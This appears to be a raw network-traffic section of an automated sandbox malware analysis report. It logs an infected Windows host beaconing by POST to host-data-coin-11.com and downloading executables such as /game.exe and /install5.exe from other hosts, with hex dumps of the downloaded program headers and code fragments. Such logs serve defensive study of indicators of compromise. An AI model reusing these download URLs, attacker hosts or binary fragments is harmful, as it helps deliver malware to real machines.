Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://xsnng.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 284
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:09.851891994 CET

1422 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 
0d 0a 0d 0a 
Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0

Session ID Source IP Source Port Destination IP Destination Port Process

14 192.168.2.5 49773 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:10.227610111 CET

1423 OUT GET /files/9030_1641816409_7037.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com

Jan 14, 2022 
12:22:10.328763008 CET

1424 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:10 GMT
Content-Type: application/x-msdos-program
Content-Length: 301056
Connection: close
Last-Modified: Mon, 10 Jan 2022 12:06:49 GMT
ETag: "49800-5d5392be00934"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 
ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 4
7 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 
e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 
30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 
a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 
00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 
00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 
00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 
00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 
00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 56 8d 44 24 08 50 8b f1 e8 d9 11 00 00 c7 06 30 32 41 00 8b c6 5e c2 04 00 c7 01 30 32 4
1 00 e9 8f 12 00 00 56 8b f1 c7 06 30 32 41 00 e8 81 12 00 00 f6 44 24 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$2tvivivihGiihGihG[iQqivhihGwihGwihGwiRichviPELb_-0@ 
eP2 Y@0.text `.rdataD?0@"@@.dataXp$b@.rsrc@@VD$P02A^02AV02AD$

Session ID Source IP Source Port Destination IP Destination Port Process

15 192.168.2.5 49777 8.209.70.0 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:15.231528044 CET

1778 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://omfshf.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 264
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:15.349591017 CET

1779 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:15 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

16 192.168.2.5 49778 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:15.462161064 CET

1780 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://oakmqpc.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 209
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:15.580116034 CET

1781 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:15 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

17 192.168.2.5 49779 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:15.651768923 CET

1782 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://avcchgvg.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 225
Host: host-data-coin-11.com
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Jan 14, 2022 
12:22:15.771053076 CET

1782 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:15 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 
8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 37I:82OR%@_M-\z.TKC0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

18 192.168.2.5 49781 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:16.149458885 CET

1789 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://netub.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 350
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:16.273942947 CET

1789 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

19 192.168.2.5 49782 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:16.492937088 CET

1790 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://mmvrfxs.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 202
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:16.614279985 CET

1791 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:16 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 
0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2eI:82OO~kEKg2P0

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49874 172.67.139.105 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

20 192.168.2.5 49783 54.38.220.85 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:17.079672098 CET

1791 OUT GET /install5.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: unicupload.top
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Jan 14, 2022 
12:22:17.098687887 CET

1792 IN HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 14 Jan 2022 11:20:55 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 
63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 
65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1>
</center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

21 192.168.2.5 49784 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:17.146498919 CET

1793 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://mojpvs.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 344
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:17.265276909 CET

1794 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

22 192.168.2.5 49785 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:17.312746048 CET

1795 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://iopwuya.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 280
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:17.430824041 CET

1795 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

23 192.168.2.5 49786 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Jan 14, 2022 
12:22:17.478867054 CET

1796 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://yflvmivmu.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 308
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:17.597043991 CET

1797 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

24 192.168.2.5 49787 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:17.644000053 CET

1798 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://unqxe.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 166
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:17.766880989 CET

1798 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 
93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 30I:82OR&:UPJ$dP0

Session ID Source IP Source Port Destination IP Destination Port Process

25 192.168.2.5 49788 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:18.083846092 CET

1799 OUT GET /game.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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Jan 14, 2022 
12:22:18.184808969 CET

1801 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:18 GMT
Content-Type: application/x-msdos-program
Content-Length: 323072
Connection: close
Last-Modified: Fri, 14 Jan 2022 11:22:01 GMT
ETag: "4ee00-5d589030842f9"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 fa 3c cc e1 9b 52 9f e1 9b 52 9f e1 9b 52 9f ff c9 c7 9f fb 9b 52 9f ff c9 d1 9f 67 
9b 52 9f c6 5d 29 9f e2 9b 52 9f e1 9b 53 9f 01 9b 52 9f ff c9 d6 9f db 9b 52 9f ff c9 c6 9f e0 9b 52 9f ff c9 c3 9f e0 9b 52 9f 
52 69 63 68 e1 9b 52 9f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c8 56 b7 5f 00 00 00 00 
00 00 00 00 e0 00 02 01 0b 01 09 00 00 f4 03 00 00 a8 11 00 00 00 00 00 40 c3 01 00 00 10 00 00 00 10 04 00 00 00 40 
00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 15 00 00 04 00 00 96 8b 05 00 02 00 
00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 f0 03 00 28 
00 00 00 00 10 15 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 f4 1d 00 00 90 13 00 00 
1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 
00 00 00 00 00 00 10 00 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 
65 78 74 00 00 00 ee f3 03 00 00 10 00 00 00 f4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 6
4 61 74 61 00 00 00 88 c9 10 00 00 10 04 00 00 18 00 00 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 
73 75 74 61 6c 61 00 05 00 00 00 00 e0 14 00 00 02 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 
2e 62 75 76 65 00 00 00 ea 00 00 00 00 f0 14 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 
c0 2e 62 6f 62 65 00 00 00 93 0d 00 00 00 00 15 00 00 0e 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 
00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 15 00 00 84 00 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 
